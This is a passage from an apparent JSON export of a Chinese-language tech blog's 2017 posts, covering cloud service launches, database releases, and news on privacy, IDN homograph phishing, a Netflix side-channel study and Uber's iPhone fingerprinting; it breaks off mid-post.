    "body": "<a href=\"https://www.hashicorp.com/\">HashiCorp</a> 的 <a href=\"https://www.packer.io/\">Packer</a> 出 1.0 了：「<a href=\"https://www.hashicorp.com/blog/packer-1-0/\">HashiCorp Packer 1.0</a>」。\r\n\r\n在 HashiCorp 推出的一串工具裡面算是比較成熟的產品，就算是先前還在 0.12.x 的版本也已經很穩定。\r\n\r\n然後 Logo 改了，居然是用 SVG (可以直接開官網看原始碼)，只好用截圖的方式：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/sDYcWuM.webp\" /><img src=\"https://i.gslin.com/imgur/sDYcWuM.jpg\" alt=\"\" /></picture>",
    "title": "HashiCorp 的 Packer 出 1.0 版了"
  },
  {
    "id": "7234",
    "body": "<a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> (MySQL) 提昇了增加 column 操作的速度：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/04/amazon-aurora-supports-fast-ddl-operations/\">Amazon Aurora Supports Fast DDL Operations</a>」，細節可以在「<a href=\"https://aws.amazon.com/blogs/database/amazon-aurora-under-the-hood-fast-ddl/\">Amazon Aurora Under the Hood: Fast DDL</a>」這邊看到。\r\n\r\n這次加速是限制在 nullable 欄位：\r\n\r\n<blockquote>We’re addressing this mess, starting with the most common DDL operation we’ve seen: adding a nullable column at the end of a table.</blockquote>\r\n\r\n在 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.6 (<a href=\"https://dev.mysql.com/doc/refman/5.6/en/innodb-create-index-overview.html\">Online DDL Overview</a>) 與 5.7 (<a href=\"https://dev.mysql.com/doc/refman/5.7/en/innodb-create-index-overview.html\">Online DDL Overview</a>) 都有列出增加 column 需要 rebuild table。\r\n\r\n對於一般的 MySQL server 來說，增加 column 這種事情通常都會用 <a href=\"https://www.percona.com/doc/percona-toolkit/3.0/pt-online-schema-change.html\">pt-online-schema-change</a> 解決，Amazon Aurora 這個改善算是讓 DBA 可以輕鬆一些...",
    "title": "Amazon Aurora 改善 ALTER TABLE 時增加 column 的速度"
  },
  {
    "id": "7235",
    "body": "看到「<a href=\"https://www.djangoproject.com/weblog/2017/apr/04/django-111-released/\">Django 1.11 released</a>」這篇才發現 <a href=\"https://www.djangoproject.com/\">django</a> 也有設計 LTS 機制... 在「<a href=\"https://docs.djangoproject.com/en/dev/internals/release-process/\">Django’s release process</a>」這邊有介紹：\r\n\r\n<blockquote>Certain feature releases will be designated as long-term support (LTS) releases. These releases will get security and data loss fixes applied for a guaranteed period of time, typically three years.</blockquote>\r\n\r\n所以是提供三年的維護期...",
    "title": "django 的 LTS"
  },
  {
    "id": "7236",
    "body": "大概是有時候 cluster 太小，<a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> 或是 <a href=\"https://aws.amazon.com/elasticloadbalancing/applicationloadbalancer/\">ALB</a> 的費用反而比 cluster 還貴，再加上 ALB 提供起來算方便，所以就推出這樣的功能了：「<a href=\"https://aws.amazon.com/blogs/aws/new-host-based-routing-support-for-aws-application-load-balancers/\">New – Host-Based Routing Support for AWS Application Load Balancers</a>」。\r\n\r\n現在可以針對 <code>Host</code> 欄位決定導到不同的 cluster 上了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HMqcOUn.webp\" /><img src=\"https://i.gslin.com/imgur/HMqcOUn.jpg\" alt=\"\" /></picture>\r\n\r\n然後讓 ALB 可以設的 rule 數量增加：\r\n\r\n<blockquote>As part of today’s launch we are raising the maximum number of rules per Application Load Balancer from 10 to 75, and also introducing a new rule editor.</blockquote>\r\n\r\n這個功能有種微妙的感覺 XDDD",
    "title": "ALB (Application Load Balancer) 支援對 Host 的分流了"
  },
  {
    "id": "7238",
    "body": "<a href=\"https://aws.amazon.com/redshift/\">Amazon Redshift</a> 對壓縮率的改善：「<a href=\"https://aws.amazon.com/blogs/aws/data-compression-improvements-in-amazon-redshift/\">Data Compression Improvements in Amazon Redshift Bring Compression Ratios Up to 4x</a>」。\r\n\r\n首先是引入了 <a href=\"http://www.zstd.net/\">Zstandard</a>：\r\n\r\n<blockquote>First, we added support for the Zstandard compression algorithm, which offers a good balance between a high compression ratio and speed in build 1.0.1172. When applied to raw data in the standard TPC-DS, 3 TB benchmark, Zstandard achieves 65% reduction in disk space. Zstandard is broadly applicable.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/c5U1YDR.webp\" /><img src=\"https://i.gslin.com/imgur/c5U1YDR.jpg\" alt=\"\" /></picture>\r\n\r\n然後是自動選擇壓縮，對於之前沒有設定壓縮參數的人，會直接有改善：\r\n\r\n<blockquote>Second, we’ve improved the automation of compression on tables created by the CREATE TABLE AS, CREATE TABLE or ALTER TABLE ADD COLUMN commands. Starting with Build 1.0.1161, Amazon Redshift automatically chooses a default compression for the columns created by those commands. Automated compression happens when we estimate that we can reduce disk space without degrading query performance. Our customers have seen up to 40% reduction in disk space.</blockquote>\r\n\r\n再來是改善資料結構：\r\n\r\n<blockquote>Third, we’ve been optimizing our internal on-disk data structures. Our preview customers averaged a 7% reduction in disk space usage with this improvement. This feature is delivered starting with Build 1.0.1271.</blockquote>\r\n\r\n最後是提供更好的分析判斷：\r\n\r\n<blockquote>Finally, we have enhanced the ANALYZE COMPRESSION command to estimate disk space reduction.</blockquote>\r\n\r\n不過其他幾個產品線的使用方式更成熟 (像是 <a href=\"https://aws.amazon.com/athena/\">Amazon Athena</a> 這類產品)，不知道會不會讓 Amazon Redshift 慢慢退出第一線...",
    "title": "Amazon Redshift 壓縮率的改善"
  },
  {
    "id": "7239",
    "body": "去年麻州立法禁止雇主詢問前工作的薪資 (參考「<a href=\"https://blog.gslin.org/archives/2016/08/17/6743/%E9%BA%BB%E5%B7%9E%E7%AB%8B%E6%B3%95%E7%A6%81%E6%AD%A2%E8%A9%A2%E5%95%8F%E5%89%8D%E4%B8%80%E4%BB%BD%E5%B7%A5%E4%BD%9C%E7%9A%84%E8%96%AA%E8%B3%87/\">麻州立法禁止詢問前一份工作的薪資</a>」)，而紐約市也要加入這個行列了：「<a href=\"http://nytlive.nytimes.com/womenintheworld/2017/04/07/new-york-city-bans-employers-from-asking-potential-workers-about-their-past-salary/\">New York City bans employers from asking potential workers about their past salary</a>」。\r\n\r\n<blockquote>New York City joined Massachusetts, Puerto Rico, and Philadelphia in banning employers from asking job applicants about their pay at current or past jobs after the city council passed the measure in a vote on Wednesday.</blockquote>",
    "title": "紐約市也將禁止雇主詢問薪資"
  },
  {
    "id": "7240",
    "body": "這邊提到在教育領域所設計的制度所期望帶來的效果，與實際帶來的效果的差異：「<a href=\"https://svpow.com/2017/03/17/every-attempt-to-manage-academia-makes-it-worse/\">Every attempt to manage academia makes it worse</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gpXkTHD.webp\" /><img src=\"https://i.gslin.com/imgur/gpXkTHD.jpg\" alt=\"\" /></picture>\r\n<small>出自「<a href=\"http://online.liebertpub.com/doi/pdf/10.1089/ees.2016.0223\">Academic Research in the 21st Century: Maintaining Scientific Integrity in a Climate of Perverse Incentives and Hypercompetition</a>」這篇論文。</small>\r\n\r\n這邊左邊的 Incentive 都是可被量化的方式，而中間有預期的效果，右邊則是實際發生的效果。跟台灣校園裡看到的情況很接近。\r\n\r\n可以看出來，你對用腦吃飯的人設計 KPI 制度，大概都是這樣的下場 XDDD",
    "title": "在教育領域用 KPI 制度的結果"
  },
  {
    "id": "7241",
    "body": "<a href=\"https://deepmind.com/\">DeepMind</a> 家的 <a href=\"https://zh.wikipedia.org/wiki/AlphaGo\">AlphaGo</a> 又要重出江湖了：「<a href=\"https://deepmind.com/blog/exploring-mysteries-alphago/\">Exploring the mysteries of Go with AlphaGo and China's top players</a>」。這次將會跟中國的頂尖職業棋手對弈，裡面提到三種賽制：\r\n\r\n<blockquote>The summit will feature a variety of game formats involving AlphaGo and top Chinese players, specifically designed to explore the mysteries of the game together. The games will include: \r\n\r\n<ul>\r\n\t<li>“Pair Go” — A game where one Chinese pro will play against another...except they will both have their own AlphaGo teammate, alternating moves, to take the concept of ‘learning together’ quite literally.</li>\r\n\t<li>“Team Go” — A game between AlphaGo and a five-player team consisting of China’s top pro players, working together to test AlphaGo’s creativity and adaptability to their combined style.</li>\r\n\t<li>“Ke Jie vs AlphaGo” — Of course, the centerpiece of the event  will be a classic 1:1 match of three games between AlphaGo and the world’s number one player, Ke Jie, to push AlphaGo to (...perhaps beyond!) its limits.</li>\r\n</ul></blockquote>\r\n\r\n有傳言是這樣打 (目前大家都抄來抄去...)，但目前還沒看到正式的公告：\r\n\r\n<blockquote>（一）5月23,25,27日 柯潔與AlphaGo三番棋：每方3小時，5次1分鐘讀秒；\r\n（二）5月26日 時越、羋昱廷、唐韋星、陳耀燁和周睿羊5人團隊賽：每方2小時30分，保留3次1分鐘讀秒；\r\n（三）5月26日 古力、連笑人機配對賽：每方1小時，1次1分鐘讀秒。</blockquote>\r\n\r\n另外有一篇「<a href=\"https://deepmind.com/blog/innovations-alphago/\">Innovations of AlphaGo</a>」講了不少年初 AlphaGo 連勝六十盤的對局給人類棋手的啟發。\r\n\r\n另外 DeepMind 的 CEO，<a href=\"https://en.wikipedia.org/wiki/Demis_Hassabis\">Demis Hassabis</a> 前幾天剛好有給了一個演講，也是講了不少東西 (不過都是之前就提過的)：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/ZyUFy29z3Cw\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n這樣來安排那幾天空時間下來...",
    "title": "AlphaGo 又要重出江湖了"
  },
  {
    "id": "7242",
    "body": "在「<a href=\"http://kottke.org/17/04/incredible-low-light-camera-turns-night-into-day\">Incredible low-light camera turns night into day</a>」這邊看到這個示範影片：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/8bTgG2Ft4xQ?rel=0\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n軍用品，換算 ISO 可以達到 5M：\r\n\r\n<blockquote>The camera was developed for military use, has an effective ISO rating of 5,000,000, and has a comically long name: “X27 Reconnaissance Day/Night high Fidelity true real time low light/low lux color night vision Imaging Security / Multi Purpose camera system”.</blockquote>",
    "title": "夜視功能"
  },
  {
    "id": "7243",
    "body": "<a href=\"https://www.google.com/\">Google</a> 的在「<a href=\"https://blog.google/products/search/fact-check-now-available-google-search-and-news-around-world/\">Fact Check now available in Google Search and News around the world</a>」這，<a href=\"https://www.facebook.com/\">Facebook</a> 的在「<a href=\"https://newsroom.fb.com/news/2017/04/working-to-stop-misinformation-and-false-news/\">Working to Stop Misinformation and False News</a>」這。\r\n\r\nGoogle 是針對搜尋與新聞的部份給出建議，透過第三方的網站確認，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nIG0GRQ.webp\" /><img src=\"https://i.gslin.com/imgur/nIG0GRQ.jpg\" alt=\"\" /></picture>\r\n\r\n後面的機制是透過公開的協定進行：\r\n\r\n<blockquote>For publishers to be included in this feature, they must be using the Schema.org ClaimReview markup on the specific pages where they fact check public statements (documentation here), or they can use the Share the Facts widget developed by the Duke University Reporters Lab and Jigsaw.</blockquote>\r\n\r\n但也是透過演算法判斷提供的單位是否夠權威：\r\n\r\n<blockquote>Only publishers that are algorithmically determined to be an authoritative source of information will qualify for inclusion.</blockquote>\r\n\r\n而 Facebook 是針對 Timeline 上的新聞判斷，但是是透過與 Facebook 合作的 partner 判斷，而且會針對判斷為假的消息降低出現的機率：\r\n\r\n<blockquote>We’ve started a program to work with independent third-party fact-checking organizations. We’ll use the reports from our community, along with other signals, to send stories to these organizations. If the fact-checking organizations identify a story as false, it will get flagged as disputed and there will be a link to a corresponding article explaining why. Stories that have been disputed also appear lower in News Feed.</blockquote>\r\n\r\n我不是很喜歡 Facebook 的方法，變相的在控制言論自由 (不過也不是第一天了)。",
    "title": "Google 與 Facebook 都在建立消息驗證系統"
  },
  {
    "id": "7244",
    "body": "<a href=\"https://www.oracle.com/\">Oracle</a> 推出的 InnoDB Cluster 進入 GA 了，不過先觀望看看就好：「<a href=\"http://mysqlserverteam.com/mysql-innodb-cluster-ga/\">MySQL InnoDB Cluster GA is Available Now!</a>」。\r\n\r\n<blockquote>The GA release of InnoDB Cluster builds upon the great work that the MySQL Development Team has done on Group Replication, filling out the rest of the stack for setup, management, orchestration, and client routing.</blockquote>\r\n\r\n算是 <a href=\"http://galeracluster.com/products/\">Galara Cluster</a> 的競爭對手 (被 <a href=\"https://www.percona.com/\">Percona</a> 與 <a href=\"https://mariadb.org/\">MariaDB</a> 採用)，產品成熟度還得再看如何...",
    "title": "Oracle 官方的 InnoDB Cluster 出 GA 了..."
  },
  {
    "id": "7245",
    "body": "瀏覽器的 headless 模式讓開發者可以透過 command line 或是 API 界面操作，對於自動化開發測試很有用。而 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 將在 59 版 (目前 57 版) 引入 headless 模式：「<a href=\"https://www.chromestatus.com/features/5678767817097216\">Headless mode</a>」。\r\n\r\n<blockquote>Headless mode allows running Chromium in a headless/server environment. Expected use cases include loading web pages, extracting metadata (e.g., the DOM) and generating bitmaps from page contents -- using all the modern web platform features provided by Chromium and Blink.\r\n\r\nTo use headless, start Chrome with a command line flag:\r\n\r\n$ chrome --headless --remote-debugging-port=9222 https://chromium.org</blockquote>\r\n\r\n而 <a href=\"http://phantomjs.org/\">PhantomJS</a> 則是因為 Google Chrome 決定要支援 headless 模式，主要的貢獻者 Vitaly Slobodin (參考 <a href=\"https://github.com/ariya/phantomjs/graphs/contributors\">Contributors to ariya/phantomjs</a> 這邊) 決定退出維護：「<a href=\"https://groups.google.com/d/msg/phantomjs/9aI5d-LDuNE/5Z3SMZrqAQAJ\">[Announcement] Stepping down as maintainer</a>」。\r\n\r\n是個功成身退的感覺...",
    "title": "Google Chrome 的 Headless 模式與 PhantomJS 的歷史"
  },
  {
    "id": "7246",
    "body": "<a href=\"https://duckduckgo.com/\">DuckDuckGo</a> 前陣子整理了一篇關於如何調整 Windows 10 的文章，洋洋灑灑列了十五條方式供使用者調整：「<a href=\"https://spreadprivacy.com/windows-10-privacy-tips-4f1e73c1987d\">How To Protect Privacy On Windows 10</a>」。\r\n\r\n像是可以將無線網路的 MAC address 隨機化的方式就頗不錯：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CQzC4XI.webp\" /><img src=\"https://i.gslin.com/imgur/CQzC4XI.jpg\" alt=\"\" /></picture>\r\n\r\n然後有一堆要把資料送回 <a href=\"https://www.microsoft.com/\">Microsoft</a> 的...",
    "title": "關閉與開啟 Windows 10 內一堆侵犯與增強隱私的設定"
  },
  {
    "id": "7247",
    "body": "<a href=\"https://stripe.com/\">Stripe</a> 推出了 <a href=\"https://increment.com/\">Increment</a> 雜誌，講團隊合作時的各種議題：「<a href=\"https://stripe.com/blog/increment\">Introducing Increment</a>」。\r\n\r\n<blockquote>And so we've decided to start Increment, a software engineering magazine dedicated to providing practical and useful insight into what effective teams are doing so that the rest of us can learn from them more quickly.</blockquote>\r\n\r\n雜誌網站上也有類似的描述：\r\n\r\n<blockquote>A digital magazine about how teams build and operate software systems at scale.</blockquote>\r\n\r\n<blockquote>Increment is dedicated to covering how teams build and operate software systems at scale, one issue at a time.</blockquote>\r\n\r\n可以看一看 Stripe 對團隊合作的想法...",
    "title": "Stripe 的 Increment 雜誌"
  },
  {
    "id": "7248",
    "body": "在「<a href=\"https://thestack.com/security/2017/04/12/netflix-found-to-leak-information-on-https-protected-videos/\">Netflix found to leak information on HTTPS-protected videos</a>」這篇看到了研究員透過 VBR 所透露出的 side channel 資訊，成功的取得了被 HTTPS 保護的 <a href=\"https://www.netflix.com/\">Netflix</a> 影片資訊。這對於美國的 ISP 是個大利多 (加上之前通過的法案)，但對於個人隱私則是嚴重的打擊。\r\n\r\n這項研究的準確率非常高：\r\n\r\n<blockquote>To support our analysis, we created a fingerprint database comprised of 42,027 Netflix videos. Given this collection of fingerprints, we show that our system can differentiate between videos with greater than 99.99% accuracy. Moreover, when tested against 200 random 20-minute video streams, our system identified 99.5% of the videos with the majority of the identifications occurring less than two and a half minutes into the video stream.</blockquote>\r\n\r\n而且他們居然是用這樣的單機分析：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/i5UvqiL.webp\" /><img src=\"https://i.gslin.com/imgur/i5UvqiL.jpg\" alt=\"null\" /></picture>\r\n\r\n苦啊...",
    "title": "利用 Side-channel 資訊判斷被 HTTPS 保護的 Netflix 影片資訊"
  },
  {
    "id": "7249",
    "body": "<a href=\"https://www.netflix.com/\">Netflix</a> 因為想用 Name Constraints，所以決定自己跳出來推廣了：「<a href=\"http://techblog.netflix.com/2017/04/bettertls-name-constraints-test-suite.html\">BetterTLS - A Name Constraints test suite for HTTPS clients</a>」。\r\n\r\n就是在 CA 上可以綁定條件，只允許哪些 domain 可以被發放：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WWPHkmW.webp\" /><img src=\"https://i.gslin.com/imgur/WWPHkmW.jpg\" alt=\"\" /></picture>\r\n\r\n網站在「<a href=\"https://bettertls.com/\">BetterTLS: Name Constraints</a>」這邊可以看。",
    "title": "Netflix 的 BetterTLS，推廣 CA 的 Name Constraints"
  },
  {
    "id": "7250",
    "body": "禁止這類變相的羞辱行為：「<a href=\"https://mobile.nytimes.com/2017/04/07/well/family/new-mexico-outlaws-school-lunch-shaming.html\">New Mexico Outlaws School ‘Lunch Shaming’</a>」。\r\n\r\n<blockquote>In some schools, children are forced to clean cafeteria tables in front of their peers to pay the debt. Other schools require cafeteria workers to take a child’s hot food and throw it in the trash if he doesn’t have the money to pay for it.</blockquote>\r\n\r\n法案包括了所有有接受補助的學校：\r\n\r\n<blockquote>On Thursday, Gov. Susana Martinez signed the Hunger-Free Students’ Bill of Rights, which directs schools to work with parents to pay their debts or sign up for federal meal assistance and puts an end to practices meant to embarrass children. It applies to public, private and religious schools that receive federal subsidies for students’ breakfasts and lunches.</blockquote>",
    "title": "新墨西哥州禁止因為學童付不起營養午餐，就要求他們以勞力付出"
  },
  {
    "id": "7251",
    "body": "從「<a href=\"http://brianknapp.me/programmer-60-80-hour-weeks/\">How do you make programmers work 60-80 hours per week?</a>」這邊看到的，出自 <a href=\"https://www.quora.com/\">Quora</a> 的「<a href=\"https://www.quora.com/How-do-you-make-programmers-work-60-80-hours-per-week/answer/Brian-Knapp-1\">How do you make programmers work 60-80 hours per week?</a>」。\r\n\r\n看到標題的時候在想「這什麼詐騙集團類型問題 XDDD」，寫 code 的工程師一天可以專注三個小時就很了不起了好嗎，然後年紀愈大就愈難專注。每天可以工作十小時鐵定是一堆時間在看 <a href=\"https://www.youtube.com/\">YouTube</a>、<a href=\"https://www.facebook.com/\">Facebook</a>、<a href=\"https://twitter.com/\">Twitter</a> 的好嗎 XDDD\r\n\r\n仔細看了文章以後，發現其實作者就是在講這個：\r\n\r\n<blockquote>No programmers really work 60-80 hours a week, especially in a 5 day span. That is a 12-16 hour day, 5 days a week.\r\n\r\nI promise you that any company that has programmers “working” that many hours is really only getting 2-4 hours of real work out of them each day. The rest of the time will be filled with pointless meetings, a fair amount of web browsing, and then a whole lot of looking busy.</blockquote>\r\n\r\n真的有寫程式都知道的啦...",
    "title": "如何讓工程師一個禮拜工作 60～80 小時"
  },
  {
    "id": "7254",
    "body": "大家都等很久的需求總算推出來了 (雖然我覺得還好...)，<a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 要支援 <a href=\"https://www.python.org/\">Python</a> 3.6 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/04/aws-lambda-supports-python-3-6/\">AWS Lambda Supports Python 3.6</a>」。會逐步推上線：\r\n\r\n<blockquote>You can now develop your AWS Lambda functions using Python 3.6. This feature will become available in all AWS Lambda regions within 24 hours.</blockquote>",
    "title": "AWS Lambda 支援 Python 3.6 了"
  },
  {
    "id": "7255",
    "body": "又多了一種可以挖 <a href=\"https://bitcoin.org/\">BitCoin</a> 的 instance type 了，<a href=\"https://aws.amazon.com/\">AWS</a> 正式推出 F1 Instance：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-f1-instances-with-fpgas-now-generally-available/\">EC2 F1 Instances with FPGAs – Now Generally Available</a>」。\r\n\r\n目前只有在 us-east-1 有，不過有計畫要推到其他地區：\r\n\r\n<blockquote>Today we are making the F1 instances generally available in the US East (Northern Virginia) Region, with plans to bring them to other regions before too long.</blockquote>",
    "title": "以後被盜開機器的機種又多一個了：EC2 F1 Instances with FPGAs"
  },
  {
    "id": "7256",
    "body": "在「<a href=\"https://www.percona.com/blog/2017/04/19/percona-xtradb-cluster-5-7-17-29-20-now-available/\">Percona XtraDB Cluster 5.7.17-29.20 is now available</a>」這邊提到了：\r\n\r\n<blockquote>This release is focused on performance and scalability with increasing workload threads. Tests show up to 10 times increase in performance.</blockquote>\r\n\r\n不過這邊沒提到是 <a href=\"https://dev.mysql.com/\">MySQL</a> 本身還是 <a href=\"http://galeracluster.com/products/\">Galera Cluster</a> 實做的修正，或是 PXC 本身特有的 bug 被修正... (通常都是有 bug 造成效能很慢，然後修正後拉上來)",
    "title": "Percona XtraDB Cluster 5.7 的效能改善"
  },
  {
    "id": "7257",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 把之前需要人力介入的操作，包成 API 直接提供給大家用：「<a href=\"https://blog.cloudflare.com/introducing-ssl-for-saas/\">Introducing SSL for SaaS</a>」。\r\n\r\n要解決的是「用戶自己的 domain 掛到我的服務上，而且需要 HTTPS」，而 Cloudflare 提供 API 把上面三部跑完，下面的就是 Cloudflare 自己處理 (包括取得用戶的同意)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8gJsyTW.webp\" /><img src=\"https://i.gslin.com/imgur/8gJsyTW.jpg\" alt=\"\" /></picture>",
    "title": "Cloudflare 推出 SSL 的 SaaS 服務"
  },
  {
    "id": "7258",
    "body": "<a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 推出的新架構，在系統上幫忙處理 cache：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-dynamodb-accelerator-dax-in-memory-caching-for-read-intensive-workloads/\">Amazon DynamoDB Accelerator (DAX) – In-Memory Caching for Read-Intensive Workloads</a>」。\r\n\r\n<a href=\"https://aws.amazon.com/dynamodb/dax/\">DAX</a> 跟現有的 DynamoDB API 相容：\r\n\r\n<blockquote>DAX is a fully managed caching service that sits (logically) in front of your DynamoDB tables. It operates in write-through mode, and is API-compatible with DynamoDB.</blockquote>\r\n\r\n因為 cache 的緣故，會是 eventually-consistent 架構：\r\n\r\n<blockquote>Responses are returned from the cache in microseconds, making DAX a great fit for eventually-consistent read-intensive workloads.</blockquote>\r\n\r\n然後是 r3 系列的機器組成的，限制在十台 (冒出大大的問號)：\r\n\r\n<blockquote>Each DAX cluster can contain 1 to 10 nodes; you can add nodes in order to increase overall read throughput. The cache size (also known as the working set) is based on the node size (dax.r3.large to dax.r3.8xlarge) that you choose when you create the cluster. Clusters run within a VPC, with nodes spread across Availability Zones.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/F68xNIq.webp\" /><img src=\"https://i.gslin.com/imgur/F68xNIq.jpg\" alt=\"\" /></picture>\r\n\r\n不是很清楚這樣的好處 (比起自己用 <a href=\"https://memcached.org/\">memcached</a> 或是其他類似的 cache 架構)，也許過幾天想通了會開竅... :o",
    "title": "Amazon DynamoDB Accelerator (DAX)"
  },
  {
    "id": "7259",
    "body": "一個多禮拜前引起蠻多討論的一篇文章，利用 Unicode Domain 釣魚的方法：「<a href=\"https://www.xudongz.com/blog/2017/idn-phishing/\">Phishing with Unicode Domains</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Q7gP7de.webp\" /><img src=\"https://i.gslin.com/imgur/Q7gP7de.jpg\" alt=\"\" /></picture>\r\n\r\n由於這是幾乎完美的攻擊，所以被提出來後 (<a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=683314\">Security: Whole-script confusable domain label spoofing</a>) 有不少討論：\r\n\r\n<blockquote>This bug was reported to Chrome and Firefox on January 20, 2017 and was fixed in the Chrome trunk on March 24. The fix is included in Chrome 58 which is currently rolling out to users.</blockquote>\r\n\r\n在 <a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=683314#c8\">comment 8</a> 提到：\r\n\r\n<blockquote>We do have a whitelist. Essentially you're suggesting that we remove Cyrillic and Greek characters from the list. I'm not sure we want to go down that path.</blockquote>\r\n\r\n在新版的 <a href=\"https://www.google.com/chrome/\">Chrome</a> 58 已經「修正」了這個問題：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZMdfUcG.webp\" /><img src=\"https://i.gslin.com/imgur/ZMdfUcG.jpg\" alt=\"\" /></picture>\r\n\r\n而 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的討論在「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1332714\">IDN Phishing using whole-script confusables on Windows and Linux</a>」這邊，一開始就直接把票給關了 XDDD：\r\n\r\n<blockquote>Indeed. Our IDN threat model specifically excludes whole-script homographs, because they can't be detected programmatically and our \"TLD whitelist\" approach didn't scale in the face of a large number of new TLDs. If you are buying a domain in a registry which does not have proper anti-spoofing protections (like .com), it is sadly the responsibility of domain owners to check for whole-script homographs and register them.\r\n\r\nWe can't go blacklisting standard Cyrillic letters.\r\n\r\nIf you think there is a problem here, complain to the .com registry who let you register https://www.xn--80ak6aa92e.com/ .\r\n\r\nGerv\r\n\r\nStatus: NEW → RESOLVED\r\nLast Resolved: 3 months ago\r\nFlags: <del>needinfo?(gerv)</del>\r\nResolution: --- → WONTFIX</blockquote>\r\n\r\n然後一個月前被提出來看看 Chrome 怎麼做：\r\n\r\n<blockquote>Gerv/Valentin, is this something we can/should align with Chromium on?</blockquote>\r\n\r\n目前唯一的解法是改 flag，把所有的 Unicode Domain 直接當作一般的 domain 來處理，列出像是 <code>www.xn--80ak6aa92e.com</code> 的網址。",
    "title": "利用 Unicode Domain 釣魚，以及 Chrome 與 Firefox 的解法"
  },
  {
    "id": "7260",
    "body": "找資料的時候翻到 <a href=\"https://www.f5.com/\">F5</a> 官方有給一篇導引，介紹如何自動化 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的憑證：「<a href=\"https://devcentral.f5.com/articles/lightboard-lessons-automating-ssl-on-big-ip-with-lets-encrypt-21475\">Lightboard Lessons: Automating SSL on BIG-IP with Let's Encrypt!</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pfQDRXx.webp\" /><img src=\"https://i.gslin.com/imgur/pfQDRXx.jpg\" alt=\"\" /></picture>\r\n\r\n在 F5 的 <a href=\"https://github.com/\">GitHub</a> 上也有一包「<a href=\"https://github.com/f5devcentral/lets-encrypt-python\">f5devcentral/lets-encrypt-python</a>」可以看看。\r\n\r\n還沒仔細看 &amp; 測試，但大概有些輪廓了。看起來要考慮到裡面用的 letsencrypt.sh 已經改名成 <a href=\"https://dehydrated.de/\">dehydrated</a>，另外就是實際測試了...\r\n\r\n其實憑證貴的不是費用，是跑採購流程的成本... 單 domain 的如果可以用 Let's Encrypt 解決的話會可以省下不少功夫。",
    "title": "在 F5 設備上使用 Let's Encrypt 憑證"
  },
  {
    "id": "7261",
    "body": "最近 <a href=\"https://www.uber.com/\">Uber</a> 的 CEO 被 <a href=\"https://en.wikipedia.org/wiki/Tim_Cook\">Tim Cook</a> 叫去喝咖啡的事情被報導出來：「<a href=\"https://www.nytimes.com/2017/04/23/technology/travis-kalanick-pushes-uber-and-himself-to-the-precipice.html\">Uber’s C.E.O. Plays With Fire</a>」，裡面提到了 Uber 試著要「辨別」使用者的 iPhone，而這違反蘋果的政策：\r\n\r\n<blockquote>To halt the activity, Uber engineers assigned a persistent identity to iPhones with a small piece of code, a practice called “fingerprinting.” Uber could then identify an iPhone and prevent itself from being fooled even after the device was erased of its contents.\r\n\r\nThere was one problem: Fingerprinting iPhones broke Apple’s rules. Mr. Cook believed that wiping an iPhone should ensure that no trace of the owner’s identity remained on the device.</blockquote>\r\n\r\n而 Uber 的搞法是針對蘋果總部所在地點屏蔽這個功能：\r\n\r\n<blockquote>So Mr. Kalanick told his engineers to “geofence” Apple’s headquarters in Cupertino, Calif., a way to digitally identify people reviewing Uber’s software in a specific location. Uber would then obfuscate its code for people within that geofenced area, essentially drawing a digital lasso around those it wanted to keep in the dark. Apple employees at its headquarters were unable to see Uber’s fingerprinting.</blockquote>\r\n\r\n然後被蘋果工程師抓到，於是 Tim Cook 把人叫來喝咖啡：\r\n\r\n<blockquote>The ruse did not last. Apple engineers outside of Cupertino caught on to Uber’s methods, prompting Mr. Cook to call Mr. Kalanick to his office.</blockquote>\r\n\r\n另外提到了 Uber 從 <a href=\"https://unroll.me/\">Unroll.me</a> 買來 <a href=\"https://www.lyft.com/\">Lyft</a> 的帳單資料當作分析：\r\n\r\n<blockquote>Using an email digest service it owns named Unroll.me, Slice collected its customers’ emailed Lyft receipts from their inboxes and sold the anonymized data to Uber. Uber used the data as a proxy for the health of Lyft’s business. (Lyft, too, operates a competitive intelligence team.)</blockquote>\r\n\r\n而更精彩的在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的<a href=\"https://news.ycombinator.com/item?id=14180463\">這串</a>爆了不少料，提到 Unroll 會把所有信件掃下來，丟到 <a href=\"https://aws.amazon.com/s3/\">S3</a> 上面：\r\n\r\n<blockquote>I worked for a company that nearly acquired 